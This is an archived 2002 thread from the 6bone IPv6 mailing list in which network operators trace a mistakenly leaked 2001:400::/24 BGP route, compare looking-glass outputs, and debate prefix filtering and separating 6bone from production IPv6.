Having fun at the expense of others is not cool... Notice that the  bad
aggregate we announced won't hurt anyone who is receiving a full table, but
tomorrow, when I inject at /48 prefix inside 2001:400::/35 by mistake,
it could...

The 6bone is a learning network.  However, keep your learning site-local,
unless people agree that they want to learn too, please.



->
->Michel.
->
->


From michel@arneill-py.sacramento.ca.us Tue Jul 30 11:57:23 2002
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> Robert J. Rockell 
> The 6bone is a learning network.  However, keep your learning
> site-local, unless people agree that they want to learn too,
> please.

Agree. I should have mentioned that I do not filter ingress, but I do
filter egress routes.

However, I don't have a problem with my peers feeding me unfiltered
routes.

I *do* agree with your posting, but the reason that route was broadly
seen is because lots of 6bone participants are still in the "learn"
mode.

So, it might be that there is an unspoken consensus about the 6bone
still being a big learning tool, and the "unless otherwise agreed upon
by your connection partner" might be considered a default by many.

Following the logic, the ones to blame are people that peer directly
with you because they should have filtered the route. Well, I will not
be the one to throw the first stone at them.

Michel.


From rrockell@sprint.net Tue Jul 30 12:03:44 2002
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As always, Sprint loves all of it's peers and customers, but asks that they
help make sure that love remains bi-directional, by filtering appropriately
:)

Thanks
Rob Rockell
SprintLink International
(+1) 703-689-6322
Sprint IP Services
-----------------------------------------------------------------------

On Tue, 30 Jul 2002, Michel Py wrote:

->> Robert J. Rockell
->> The 6bone is a learning network.  However, keep your learning
->> site-local, unless people agree that they want to learn too,
->> please.
->
->Agree. I should have mentioned that I do not filter ingress, but I do
->filter egress routes.
->
->However, I don't have a problem with my peers feeding me unfiltered
->routes.
->
->I *do* agree with your posting, but the reason that route was broadly
->seen is because lots of 6bone participants are still in the "learn"
->mode.
->
->So, it might be that there is an unspoken consensus about the 6bone
->still being a big learning tool, and the "unless otherwise agreed upon
->by your connection partner" might be considered a default by many.
->
->Following the logic, the ones to blame are people that peer directly
->with you because they should have filtered the route. Well, I will not
->be the one to throw the first stone at them.
->
->Michel.
->
->


From riel@conectiva.com.br Tue Jul 30 12:08:33 2002
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On Tue, 30 Jul 2002, Robert J. Rockell wrote:

> While I take full responsibility for this, this is a good learning
> experience. If you saw this bad route, you were not filtering correctly
> (as sprint was not).

It would be good to have the currently recommended
filter rules published on the web somewhere.

While seeing a message go by on the 6bone list that
a new can of prefixes has been opened is nice, but
people can be away from their computer for a week
and decide not to check all of their email backlog.

Of course, it's likely somebody has already thought
of this and I just don't know where the prefix filter
rules are published.

In that case, where could I find the "official" list ? ;)

cheers,

Rik
-- 
	http://www.linuxsymposium.org/2002/
"You're one of those condescending OLS attendants"
"Here's a nickle kid.  Go buy yourself a real t-shirt"

http://www.surriel.com/		http://distro.conectiva.com/


From Robert.Kiessling@de.easynet.net Tue Jul 30 12:20:34 2002
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"Robert J. Rockell" <rrockell@sprint.net> writes:

> So being that this was our fault, perhaps I can find some silver lining?
> 
> -sprint messed up their configs
> -most of 6bone was still loose enough to see it.
> 
> While I take full responsibility for this, this is a good learning
> experience. If you saw this bad route, you were not filtering correctly (as
> sprint was not).

What filtering would you suggest to fix such an event in future?

Of course right now you could filter on /32, but in future this will
not be the maximum allocation. To justify a /24 in the current
allocation guidelines, you need around 600000 prospective assignments,
which is days of DSL is not unrealistic.

So actually we can expect to see assignments of that size, and
consequently a general filter on "allow only smaller equal /32" is way
too aggressive.

Robert


From andyf@penfold.noc.clara.net Tue Jul 30 12:36:41 2002
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From: Andy Furnell <andy@ipng.org.uk>
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On Tue, Jul 30, 2002 at 04:08:04PM -0300, Rik van Riel wrote:
> 
> On Tue, 30 Jul 2002, Robert J. Rockell wrote:
> 
> > While I take full responsibility for this, this is a good learning
> > experience. If you saw this bad route, you were not filtering correctly
> > (as sprint was not).
> 
> It would be good to have the currently recommended
> filter rules published on the web somewhere.
> 
> While seeing a message go by on the 6bone list that
> a new can of prefixes has been opened is nice, but
> people can be away from their computer for a week
> and decide not to check all of their email backlog.
> 
> Of course, it's likely somebody has already thought
> of this and I just don't know where the prefix filter
> rules are published.
> 
> In that case, where could I find the "official" list ? ;)
> 
> cheers,
> 
> Rik

Or at least something to build filters from. icbw but there doesn't seem
to be sufficient administrative architecture in place to build ingress
filters properly. Some kind of radb-style RPSL route objects might not
go amiss?

A

-- 
Andy Furnell
andy@ipng.org.uk

From tvo@EnterZone.Net Tue Jul 30 14:25:39 2002
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From: John Fraizer <tvo@EnterZone.Net>
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OK.  Lets address a couple of things.

If you continued to see 2001:400::/24 with an ORIGIN of 6175 after
8:38AM EST 30JUL2002, either:

(1) You have a broken BGP implementation.

(2) One or more of your peers have a broken BGP implementation.

(3) Both 1 and 2.


XS4ALL: You show a path of 1275_5623_9044_10566_6175 below but, the route 
we saw was 109_513_3265_4538_6175.

I am at this very moment still seeing it (with XS4ALL in the path):

  109 15180 3265 4538 6175
    3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
    (fe80::806b:f0fe)
      Origin IGP, localpref 100, valid, external, best
      Last update: Tue Jul 30 12:13:38 2002


Again, if you continue to see this route with 6175 as the ORIGIN, start
contacting the peers you're seeing it from.  It *ISN'T* being originated
by 6175 any longer.  Your peers (and perhaps you) have broken BGP
implementations.

If you're running a broken BGP implementation, I submit that you owe it to
the REST of the DFZ operators to depeer until such time as you replace
your broken implementation with something that is not going to pollute the
DFZ.

This is one prefix that we know about.  Who knows how much other garbage
your BGP implementation is spewing.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Tue, 30 Jul 2002, Joop Joosten wrote:

> Folks, 
> 
> I received 2001:400::/24 from a number of places and I announced it to
> some peers, because of an old filter (shame on me). I think it is fixed
> now. 
> 
> Joop..
> 
> On Tue, 30 Jul 2002, Erik Bos wrote:
> 
> > On Tue, Jul 30, 2002 at 10:21:29AM -0400, John Fraizer wrote:
> > > > sl-bb1v6-rly#sho bgp ipv 2001:400::/24
> > > > BGP routing table entry for 2001:400::/24, version 3963
> > > > Paths: (0 available, no best path)
> > > > Flag: 0x820
> > > >   Not advertised to any peer
> > > > 
> > > 
> > > Looks like someone out there (?513? ?3265? ?4538?) is running broken a BGP
> > > implementation.  I don't see the route direct from 6175 and I trust from
> > > the output above that 6175 isn't announcing it but, (?513? ?3265? ?4538?)
> > > is holding on to the prefix (and redistributing it) for dear life!
> > 
> > We, AS3265, receive it from from AS1275:
> > 
> > sh bgp ipv6 2001:400::/24
> > BGP routing table entry for 2001:400::/24, version 799862
> > Paths: (1 available, best #1)
> >   Advertised to peer-groups:
> >      XS4ALL-IPv6
> >   1275 5623 9044 10566 6175, (received & used)
> >     3FFE:401:0:1::27:1 from 3FFE:401:0:1::27:1 (128.176.191.66)
> >       Origin IGP, localpref 100, valid, external, best
> > 
> > sh bgp ipv6 neighbors 3FFE:401:0:1::27:1 received-routes | begin 2001:400::/24
> > *> 2001:400::/24    3FFE:401:0:1::27:1
> >                                                            0 1275 5623 9044 10566 6175 i
> > 
> > The box is running Cisco ios 12.2(8)T2.
> > 
> > > Border2-BGP> sh ipv6 bgp 2001:400::/24
> > > BGP routing table entry for 2001:400::/24
> > > Paths: (4 available, best #3, table Default-IP-Routing-Table)
> > >   Advertised to non peer-group peers:
> > >   2001:4f0::1 2001:630:0:f001::1 3ffe:1ced:ff02::2 3ffe:1ced:ff06::2
> > >   3ffe:1ced:ff07::2 3ffe:1ced:ff0a::2 3ffe:2900:d:e::1
> > >   3ffe:31ff:0:ffff::50 3ffe:4005:0:1::26 3ffe:80c0:200:5::36
> > >   3ffe:8160:0:1::c 3ffe:81d0:ffff:2::44
> > >   6435 2549 513 3265 4538 6175
> > >     3ffe:8160:0:1::c from 3ffe:8160:0:1::c (64.65.64.152)
> > >     (fe80::4041:4098)
> > >       Origin IGP, localpref 100, valid, external
> > >       Last update: Tue Jul 30 08:38:19 2002
> > > 
> > >   4554 109 513 3265 4538 6175
> > >     3ffe:1ced:ff06::2 from 3ffe:1ced:ff06::2 (192.0.1.1)
> > >     (fe80::c620:401)
> > >       Origin IGP, metric 1, localpref 100, valid, external
> > >       Last update: Tue Jul 30 08:38:37 2002
> > > 
> > >   109 513 3265 4538 6175
> > >     3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
> > >       Origin IGP, localpref 100, valid, external, best
> > >       Last update: Tue Jul 30 08:38:35 2002
> > > 
> > >   22 109 513 3265 4538 6175
> > >     3ffe:1ced:ff05::2 from 3ffe:1ced:ff05::2 (198.253.28.59)
> > >     (fe80::c6fd:1c3b)
> > >       Origin IGP, localpref 100, valid, external
> > >       Last update: Tue Jul 30 08:38:42 2002
> > > 
> > > 
> > > 
> > > ---
> > > John Fraizer              | High-Security Datacenter Services |
> > > EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> > > http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
> > > 
> > > 
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> > > 
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> > 
> 
> 
>  +-----------------------------------------------------------------------+
>  |     Joop Joosten, IT Division, CERN, 1211 Geneva 23, Switzerland      |
>  |Tel: +4122 767 3361;  Fax: +4122 767 7155;  Email: Joop.Joosten@cern.ch|
>  +-----------------------------------------------------------------------+
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From tvo@EnterZone.Net Tue Jul 30 14:41:35 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: "Robert J. Rockell" <rrockell@sprint.net>, 6bone@ISI.EDU
Subject: RE: [6bone] Re: routing concern
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On Tue, 30 Jul 2002, Michel Py wrote:

> > Robert J. Rockell wrote:
> > -sprint messed up their configs
> 
> As I said before, the 6bone is the right place for this. Has anyone been
> hurt? Anyone lost money? The lessons we collectively learn each time
> someone messes up a route are far more valuable than the consequences of
> messing up the route.
> 
> Can anyone here say they never messed up a config anyway?
> 

I doubt that many can say they have never messed up a config.  What I am
more interested in is:

1) How many people continue to participate in the BGP DFZ with what is
KNOWN to be a broken BGP implementation.

2) Why?

3) Why are their peers *STILL* their peers?

If I *KNOW FOR FACT* that someone, even one of our v4 transit customers,
is going to spew crap into the routing tables because their either too
cheap or too lazy to upgrade their BGP implementation, I'll depeer
them.  It's that simple.

Config issues are something that will happen.

BUGS in software are something that will happen.

People *IGNORING* these bugs in the software they run should *NOT*
happen.  Why is it?

> > -most of 6bone was still loose enough to see it.
> > While I take full responsibility for this, this is a good
> > learning experience. If you saw this bad route, you were not
> > filtering correctly (as sprint was not).

Does someone care to modify this prefix list to allow current 6bone and
RIR allocations through only?

ipv6 prefix-list subTLA-only seq 5 deny 2001::/16 ge 36
ipv6 prefix-list subTLA-only seq 10 deny 3ffe::/18 ge 25
ipv6 prefix-list subTLA-only seq 15 deny 3ffe:4000::/18 ge 33
ipv6 prefix-list subTLA-only seq 20 deny 3ffe:8000::/22 ge 29
ipv6 prefix-list subTLA-only seq 25 permit ::/0 ge 1

I can't for the life of me figure it out for some reason.  I tried 
ipv6 prefix-list subTLA-only seq 5 deny 2001::/16 ge 36 le 33 but it
wouldn't take it.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From erik@xs4all.nl Tue Jul 30 15:01:24 2002
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Date: Wed, 31 Jul 2002 00:00:49 +0200
From: Erik Bos <erik@xs4all.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Joop Joosten <Joop.Joosten@cern.ch>, 6bone@ISI.EDU, EMarques@diveo.net.br,
   paitken@cisco.com
Subject: Re: [6bone] Re: routing concern
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On Tue, Jul 30, 2002 at 05:25:27PM -0400, John Fraizer wrote:
> 
> OK.  Lets address a couple of things.
> 
> If you continued to see 2001:400::/24 with an ORIGIN of 6175 after
> 8:38AM EST 30JUL2002, either:
> 
> (1) You have a broken BGP implementation.
> 
> (2) One or more of your peers have a broken BGP implementation.
> 
> (3) Both 1 and 2.
> 
> 
> XS4ALL: You show a path of 1275_5623_9044_10566_6175 below but, the route 
> we saw was 109_513_3265_4538_6175.
> 
> I am at this very moment still seeing it (with XS4ALL in the path):
> 
>   109 15180 3265 4538 6175
>     3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
>     (fe80::806b:f0fe)
>       Origin IGP, localpref 100, valid, external, best
>       Last update: Tue Jul 30 12:13:38 2002
> 
> 
> Again, if you continue to see this route with 6175 as the ORIGIN, start
> contacting the peers you're seeing it from.  It *ISN'T* being originated
> by 6175 any longer.  Your peers (and perhaps you) have broken BGP
> implementations.
> 

I don't see 2001:400::/24 anymore, I guess AS15180 and/or AS109 have to
check what they currently see. 

I've CC'ed contacts for both ASes, hopefully they can still see it so we'll
be able to find what's happening.

From mcr@sandelman.ottawa.on.ca Tue Jul 30 15:47:25 2002
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To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern 
In-reply-to: Your message of "Tue, 30 Jul 2002 17:25:27 EDT."
             <Pine.LNX.4.21.0207301707170.1209-100000@Overkill.EnterZone.Net> 
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>>>>> "John" == John Fraizer <tvo@EnterZone.Net> writes:
    John> If you're running a broken BGP implementation, I submit that you owe it to
    John> the REST of the DFZ operators to depeer until such time as you replace
    John> your broken implementation with something that is not going to pollute the
    John> DFZ.

  It would also be nice if you let people know what you did to fix things!
  Or at least, "stay away from FOO-BAR <X.Y"

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another Debian GNU/Linux using, kernel hacking, security guy"); [



From tvo@EnterZone.Net Tue Jul 30 18:02:43 2002
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Date: Tue, 30 Jul 2002 21:02:34 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Erik Bos <erik@xs4all.net>
cc: Joop Joosten <Joop.Joosten@cern.ch>, 6bone@ISI.EDU, EMarques@diveo.net.br,
   paitken@cisco.com
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On Wed, 31 Jul 2002, Erik Bos wrote:

> 
> I don't see 2001:400::/24 anymore, I guess AS15180 and/or AS109 have to
> check what they currently see. 
> 
> I've CC'ed contacts for both ASes, hopefully they can still see it so we'll
> be able to find what's happening.

From http://nitrous.ipv6.enterzone.net/

BGP routing table entry for 2001:400::/24
Paths: (4 available, best #2, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  2001:4f0::1 2001:630:0:f001::1 3ffe:1ced:ff02::2 3ffe:1ced:ff06::2
3ffe:1ced:ff07::2 3ffe:1ced:ff09::2 3ffe:1ced:ff0a::2 3ffe:2900:d:e::1
3ffe:31ff:0:ffff::50 3ffe:4005:0:1::26 3ffe:80c0:200:5::36
3ffe:8160:0:1::c 3ffe:81d0:ffff:2::44
  4554 109 15180 3265 4538 6175
    3ffe:1ced:ff06::2 from 3ffe:1ced:ff06::2 (192.0.1.1)
    (fe80::c620:401)
      Origin IGP, metric 1, localpref 100, valid, external
      Last update: Tue Jul 30 12:52:00 2002

  109 15180 3265 4538 6175
    3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
    (fe80::806b:f0fe)
      Origin IGP, localpref 100, valid, external, best
      Last update: Tue Jul 30 12:13:38 2002

  6435 109 15180 3265 4538 6175
    3ffe:8160:0:1::c from 3ffe:8160:0:1::c (64.65.64.152)
    (fe80::4041:4098)
      Origin IGP, localpref 100, valid, external
      Last update: Tue Jul 30 12:52:22 2002

  22 109 15180 3265 4538 6175
    3ffe:1ced:ff05::2 from 3ffe:1ced:ff05::2 (198.253.28.59)
    (fe80::c6fd:1c3b)
      Origin IGP, localpref 100, valid, external
      Last update: Tue Jul 30 12:13:43 2002


Kewlio.net http://router.ipv6.kewlio.net/cgi-bin/index.cgi  sees the
following:

BGP routing table entry for 2001:400::/24
Paths: (5 available, best #4, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  3ffe:4005::10 3ffe:4005:0:1::14
  8758 6830 3292 109 15180 3265 4538 6175
    3ffe:4006:0:3::15 from 3ffe:4006:0:3::15 (212.25.27.46)
    (fe80::d419:1542)
      Origin IGP, localpref 100, valid, external
      Community: 6830:60003 6830:60011 24765:100 24765:2300 24765:6007
      Last update: Tue Jul 30 17:52:48 2002

  109 109 15180 3265 4538 6175
    3ffe:c00:8023:45::1 from 3ffe:c00:8023:45::1 (128.107.240.254)
    (fe80::806b:f0fe)
      Origin IGP, metric 500, localpref 100, valid, external
      Community: 24765:100 24765:1200 24765:6003
      Last update: Tue Jul 30 17:13:35 2002

  8973 6830 3292 109 15180 3265 4538 6175
    3ffe:4008:1::1 from 3ffe:4008:1::1 (192.16.124.2)
    (fe80::c010:7c02)
      Origin IGP, localpref 100, valid, external
      Community: 24765:100 24765:2200 24765:6008
      Last update: Tue Jul 30 17:52:28 2002

  3265 4538 6175
    3ffe:8280:0:2000::c from 3ffe:8280:0:2000::c (194.109.5.254)
    (fe80::c26d:5fe)
      Origin IGP, localpref 100, valid, external, best
      Community: 24765:100 24765:1800 24765:6010
      Last update: Thu Jul 25 20:25:00 2002

  1849 1890 2549 109 15180 3265 4538 6175
    2001:600:4:8de::1 from 2001:600:4:8de::1 (158.43.131.66)
    (fe80::2d0:c0ff:feb9:1c)
      Origin IGP, localpref 100, valid, external
      Community: 24765:100 24765:1200 24765:6001
      Last update: Tue Jul 30 17:49:44 2002



LAVA.NET http://www.ipv6.lava.net/cgi-bin/lg.pl sees:

slimemold.creativedynamo.com>
show ipv6 bgp 2001:400::/24
BGP routing table entry for 2001:400::/24
Paths: (1 available, best #1, table Default-IP-Routing-Table)
  Not advertised to any peer
  109 15180 3265 4538 6175
    3ffe:c00:8023::2 from 3ffe:8160:0:3::2 (64.65.64.152)
      Origin IGP, localpref 100, valid, internal, best
      Last update: Tue Jul 30 13:14:33 2002


EURONET.BE http://www.ipv6.euronet.be/cgi-bin/ipv6_lg.pl sees:

Router: gate.ipv6.euronet.be 
Query: bgp 
Addr: 2001:400::/24 


BGP routing table entry for 2001:400::/24, version 89215
Paths: (3 available, best #1)
  Advertised to non peer-group peers:
  2001:6E0::2 2001:768:E:5::1 3FFE:80B0:100:8000::3 3FFE:8100:200:2FFF::9 
  3FFE:8170:1:10::1 195.74.212.38 
  5594 13193 109 15180 3265 4538 6175, (received & used)
    3FFE:8100:102::1:9 from 3FFE:8100:102::1:9 (195.154.1.6)
      Origin IGP, localpref 100, valid, external, best
  1849 1890 2549 109 15180 3265 4538 6175, (received & used)
    2001:600:4:1F1::1 from 2001:600:4:1F1::1 (158.43.131.66)
      Origin IGP, localpref 100, valid, external
  15589 109 109 15180 3265 4538 6175, (received & used)
    3FFE:8170:1:10::1 from 3FFE:8170:1:10::1 (192.168.1.12)
      Origin IGP, localpref 100, valid, external



STBEN.BE http://www.stben.be/cgi-bin/lg sees:

 show ipv6 bgp 2001:400::24
BGP routing table entry for 2001:400::/35
Paths: (2 available, best #2, table Default-IP-Routing-Table)
  Not advertised to any peer
  8277 15589 293, (aggregated by 293 198.128.2.27)
    3ffe:80b0:100:8000::2 from 3ffe:80b0:100:8000::2 (195.74.217.145)
    (fe80::c34a:d991)
      Origin IGP, localpref 100, valid, external, atomic-aggregate
      Last update: Tue Jul 30 21:05:56 2002

  10566 6939 293, (aggregated by 293 198.128.2.27)
    3ffe:b00:c18::68 from 3ffe:b00:c18::68 (206.123.31.101)
      Origin IGP, localpref 100, valid, external, atomic-aggregate, best
      Last update: Tue Jul 30 21:04:55 2002

*** Note this looking glass is broken.  I requested "sh ipv6 bgp
2001:400::/24" and it stripped the "/" from the query.

I then requested "show ipv6 bgp 2001:400:ffff::" and we get:

 show ipv6 bgp 2001:400:ffff::
BGP routing table entry for 2001:400::/24
Paths: (1 available, best #1, table Default-IP-Routing-Table)
  Not advertised to any peer
  8277 5594 13193 109 15180 3265 4538 6175
    3ffe:80b0:100:8000::2 from 3ffe:80b0:100:8000::2 (195.74.217.145)
    (fe80::c34a:d991)
      Origin IGP, localpref 100, valid, external, best
      Last update: Tue Jul 30 18:47:23 2002


I don't think that Cisco has broken BGP4+ implementation in use so, my
bets are that it's most likely 15180.

Note:  Kewlio.net does see the route via XS4ALL though:

  3265 4538 6175
    3ffe:8280:0:2000::c from 3ffe:8280:0:2000::c (194.109.5.254)
    (fe80::c26d:5fe)
      Origin IGP, localpref 100, valid, external, best
      Community: 24765:100 24765:1800 24765:6010
      Last update: Thu Jul 25 20:25:00 2002

Kewlio is running:

Zebra 0.93 (i386-unknown-freebsd4.4).
Copyright 1996-2002, Kunihiro Ishiguro.

I'm not aware of any "keep v6 routes when they go away" problem with Zebra
but, there is a newer version of Zebra available.  We're running it at
EnterZone.


I am VERY interested to know what 15180 is running though since everything
else is pointing to them.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From jan.oravec@6com.sk Wed Jul 31 02:00:52 2002
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Subject: Re: [6bone] Re: routing concern
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Hello,


We at XS26 see 2001:400::/24 with the following AS-PATH:

  13110 4554 109 15180 3265 4538 6175, (Received from a RR-client)
    3ffe:80ef:901:1::2 (metric 87) from 3ffe:80ef:201:: (153.19.178.101)
      Origin IGP, localpref 100, valid, internal
      Originator: 153.19.178.101, Cluster list: 80.84.236.164 62.89.127.130
      Last update: Wed Jul 31 10:11:41 2002


Best Regards,

-- 
Jan Oravec
6COM Ltd.
jan.oravec@6com.sk

From rvdp@kirk.rvdp.org Wed Jul 31 03:11:45 2002
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Date: Wed, 31 Jul 2002 12:10:35 +0200
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: "Robert J. Rockell" <rrockell@sprint.net>, 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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On Tue, Jul 30, 2002 at 11:13:36 -0700, Michel Py wrote:

> As I said before, the 6bone is the right place for this. Has anyone been
> hurt? Anyone lost money? The lessons we collectively learn each time
> someone messes up a route are far more valuable than the consequences of
> messing up the route.

Is it time to start making a clear distinction between IPv6 production
and IPv6 experimentation/learning? I think today the 6bone is used for
both.
 
Many use IPv6 for their daily work *). We *need* a stable network for
that.  If we don't do that we risk scaring people away from IPv6. Most
OSes support IPv6 nowadays. When an enduser starts using IPv6 for the
first time and she notices all kinds of networking problems, many will
think: "OK, let's turn off IPv6. It does not work."
 
The RIR prefixes are meant for IPv6 production. So, I think they should
not be used on the 6bone. The 6bone should only be used for experiments
and possibly learning. And on the other hand, I think production services
should not use 6bone prefixes, but RIR prefixes.
 
	rvdp
 
*) I frequently use ftp, cvs and http over IPv6 to sites far away in
the internet. Too often, there are routing problems and IPv6 traffic
is blackholed (routing loops, etc). Most application time out and try
IPv4. But this means annoying delays. Many of these problems occur
because people are running production services over the 6bone.

From nick@arc.net.my Wed Jul 31 04:32:05 2002
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Subject: [6bone] semi-newbie Q on IPv6 address planning
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I heard that this mailing-list holds the most experienced IPv6 prefix and IP
address allocation planners. I am in the middle of deploying our IPv6
network and in some mental block when it comes to IP address prefix
planning. Basically we have been allocated a /32 from APNIC and need some
advice/pointers in further allocating IPv6 addresses and prefixes.

Have read RFC2373/2374/3177 on this. Basically  we plan to allocate /48 for
end-customers and /40 for our pNLA customers. So basically for a /48
allocation I have the full 16 bits to play around with and for a /40
allocation only 8 bits leaving the last 8 bits in this field for the pNLA to
assign to their end customers. The end customers in both cases allocate
further networks in the SLA field. Reading on the web there are many methods
or allocating these bits ranging from allocating some bits:

a. differentiate core from customer networks e.g. between /40, /48, /64
b. geographical PoP sites and further bits to do point a. above

Have looked at the websites on this for SLAC, Stanford and Internet2,
Abilene. Are there any BCPs out there advising on this or are we on our own.
I have worked something out based on the information from the Internet -but
looks quite dodgy.

Do we have to stick to allocating in lots of 8 bits? Is a /44 allocation
valid? And what is a /126 allocation for a point-to-point link? I thought
the last /64 is reserved for the EUI-64 interface ID.

Would appreciate any pointers/hints/websites/etc on this.

-nick/


From erik@xs4all.nl Wed Jul 31 05:42:49 2002
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Date: Wed, 31 Jul 2002 14:42:36 +0200
From: Erik Bos <erik@xs4all.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Joop Joosten <Joop.Joosten@cern.ch>, 6bone@ISI.EDU, EMarques@diveo.net.br,
   paitken@cisco.com
Subject: Re: [6bone] Re: routing concern
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On Tue, Jul 30, 2002 at 09:02:34PM -0400, John Fraizer wrote:
> 
> On Wed, 31 Jul 2002, Erik Bos wrote:
> 
> > 
> > I don't see 2001:400::/24 anymore, I guess AS15180 and/or AS109 have to
> > check what they currently see. 
> > 
> > I've CC'ed contacts for both ASes, hopefully they can still see it so we'll
> > be able to find what's happening.

[ .... ]

> I don't think that Cisco has broken BGP4+ implementation in use so, my
> bets are that it's most likely 15180.
> 
> Note:  Kewlio.net does see the route via XS4ALL though:
> 
>   3265 4538 6175
>     3ffe:8280:0:2000::c from 3ffe:8280:0:2000::c (194.109.5.254)
>     (fe80::c26d:5fe)
>       Origin IGP, localpref 100, valid, external, best
>       Community: 24765:100 24765:1800 24765:6010
>       Last update: Thu Jul 25 20:25:00 2002
> 
> Kewlio is running:
> 
> Zebra 0.93 (i386-unknown-freebsd4.4).
> Copyright 1996-2002, Kunihiro Ishiguro.
> 
> I'm not aware of any "keep v6 routes when they go away" problem with Zebra
> but, there is a newer version of Zebra available.  We're running it at
> EnterZone.
> 
> I am VERY interested to know what 15180 is running though since everything
> else is pointing to them.

According to my emailarchive 15180 was running Zebra when the tunnel was
setup, I don't what they are currently using.

From ipng@uni-muenster.de Wed Jul 31 06:12:30 2002
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From: Christian Schild <ipng@uni-muenster.de>
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To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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Am Mittwoch, 31. Juli 2002 12:10 schrieben Sie:
> On Tue, Jul 30, 2002 at 11:13:36 -0700, Michel Py wrote:
> > As I said before, the 6bone is the right place for this. Has anyone been
> > hurt? Anyone lost money? The lessons we collectively learn each time
> > someone messes up a route are far more valuable than the consequences of
> > messing up the route.
>
> Is it time to start making a clear distinction between IPv6 production
> and IPv6 experimentation/learning? I think today the 6bone is used for
> both.
>
> Many use IPv6 for their daily work *). We *need* a stable network for
> that.  If we don't do that we risk scaring people away from IPv6. Most
> OSes support IPv6 nowadays. When an enduser starts using IPv6 for the
> first time and she notices all kinds of networking problems, many will
> think: "OK, let's turn off IPv6. It does not work."
>
> The RIR prefixes are meant for IPv6 production. So, I think they should
> not be used on the 6bone. The 6bone should only be used for experiments
> and possibly learning. And on the other hand, I think production services
> should not use 6bone prefixes, but RIR prefixes.
>
> 	rvdp
>
> *) I frequently use ftp, cvs and http over IPv6 to sites far away in
> the internet. Too often, there are routing problems and IPv6 traffic
> is blackholed (routing loops, etc). Most application time out and try
> IPv4. But this means annoying delays. Many of these problems occur
> because people are running production services over the 6bone.

I completely support this view. 

I would go that far to say, that today's 6bone is hindering IPv6 
deployment, as the IPv6 network is rated unreliable and slow. This is 
mainly caused by the 6bone, having tunnels over long IPv4 distances and 
having unreliable and playful pTLA's. 

What was good before (to get started with IPv6) is evil now, because 
people don't differentiate between 6bone and the productive network we 
are trying to build.

In my opinion, the best solution to solve this problem, is to seperate
the 3ffe:: from the 2001:: network. There are a few ways to do so, maybe 
someone will come up with a draft for that, maybe as an enhancement
for RFC2772? 

I believe it is very important for everyone to understand that 6bone is 
not 'the' IPv6 network. 

So long,
     Christian
 

-- 
JOIN - IP Version 6 in the WiN  Christian Schild
                 A DFN project  Westfaelische Wilhelms-Universitaet Muenster
Project Team email:             Zentrum fuer Informationsverarbeitung
          join@uni-muenster.de  Roentgenstrasse 9-13
http://www.join.uni-muenster.de D-48149 Muenster / Germany
email: schild@uni-muenster.de,phone: +49 251 83 31638, fax: +49 251 83 31653

From tvo@EnterZone.Net Wed Jul 31 06:29:12 2002
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Date: Wed, 31 Jul 2002 09:28:11 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
cc: Michel Py <michel@arneill-py.sacramento.ca.us>,
   "Robert J. Rockell" <rrockell@sprint.net>, 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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On Wed, 31 Jul 2002, Ronald van der Pol wrote:

> On Tue, Jul 30, 2002 at 11:13:36 -0700, Michel Py wrote:
> 
> > As I said before, the 6bone is the right place for this. Has anyone been
> > hurt? Anyone lost money? The lessons we collectively learn each time
> > someone messes up a route are far more valuable than the consequences of
> > messing up the route.
> 
> Is it time to start making a clear distinction between IPv6 production
> and IPv6 experimentation/learning? I think today the 6bone is used for
> both.
>  
> Many use IPv6 for their daily work *). We *need* a stable network for
> that.  If we don't do that we risk scaring people away from IPv6. Most
> OSes support IPv6 nowadays. When an enduser starts using IPv6 for the
> first time and she notices all kinds of networking problems, many will
> think: "OK, let's turn off IPv6. It does not work."
>  
> The RIR prefixes are meant for IPv6 production. So, I think they should
> not be used on the 6bone. The 6bone should only be used for experiments
> and possibly learning. And on the other hand, I think production services
> should not use 6bone prefixes, but RIR prefixes.
>  
> 	rvdp

If you don't want to see RIR space on your router Ronald, you can filter
it.  I _strongly_ disagree with having a hard seperation of production v6
and 6bone though.  There already exists seperation.  Production services
on production prefixes.  6bone experiments on 6bone prefixes.

Do you really want to create an island out of the production v6
network?  Do you want folks on production v6 address space to not be able
to reach 6bone prefixes?

We're not asking people to stop experimenting.  We're asking them to do so
